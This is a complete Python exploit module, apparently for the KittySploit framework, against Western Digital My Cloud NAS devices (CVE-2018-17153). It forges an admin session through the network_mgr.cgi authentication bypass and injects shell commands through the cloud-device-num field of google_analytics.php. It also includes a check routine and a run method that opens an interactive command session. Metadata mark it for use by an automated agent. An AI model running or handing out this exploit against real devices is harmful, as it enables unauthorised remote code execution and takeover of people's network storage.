WD My Cloud Auth Bypass RCE (CVE-2018-17153)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Western Digital My Cloud auth bypass + command injection (CVE-2018-17153)."""

import re
import urllib.parse

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'WD My Cloud Auth Bypass RCE (CVE-2018-17153)',
        'description': (
            'Chains CVE-2018-17153 admin session creation (network_mgr.cgi cgi_get_ipv6 '
            'flag=1) with authenticated command injection in google_analytics.php '
            '(cloud-device-num argument). Affects My Cloud before firmware 2.30.196.'
        ),
        'author': ['KittySploit Team', 'Securify'],
        'cve': ['CVE-2018-17153'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2018-17153',
            'https://securify.nl/nl/advisory/SFY20180102/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges.html',
        ],
        'tags': ['western-digital', 'wd', 'mycloud', 'nas', 'auth-bypass', 'rce', 'cmdi'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2018_17153_detect',
                    'scanner/http/wd_mycloud_detect',
                ],
            },
        },
    }

    analytics_path = OptString(
        '/web/google_analytics.php',
        'Authenticated command injection endpoint',
        required=False,
    )
    bypass_path = OptString(
        '/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1',
        'Auth bypass URL that seeds admin session',
        required=False,
        advanced=True,
    )

    def _admin_cookie(self) -> dict:
        return {'Cookie': 'username=admin;'}

    def _establish_session(self) -> bool:
        path = str(self.bypass_path or '').strip()
        if not path:
            return False
        r = self.http_request(method='GET', path=path, allow_redirects=False, timeout=15)
        return r is not None and r.status_code in (200, 302, 204)

    def execute(self, cmd: str) -> str:
        command = str(cmd or '').strip()
        if not command:
            return ''
        if not self._establish_session():
            return ''
        inj = f'0|{command}|#'
        body = urllib.parse.urlencode(
            {'cmd': 'set', 'opt': 'cloud-device-num', 'arg': inj},
        )
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            **self._admin_cookie(),
        }
        path = str(self.analytics_path or '/web/google_analytics.php')
        r = self.http_request(
            method='POST',
            path=path,
            data=body,
            headers=headers,
            allow_redirects=False,
            timeout=30,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2018-17153 auth bypass + command injection confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Bypass or injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            print_error('WD My Cloud CVE-2018-17153 chain failed')
            return False
        print_success('CVE-2018-17153 command execution session ready')
        return self.handler_execute()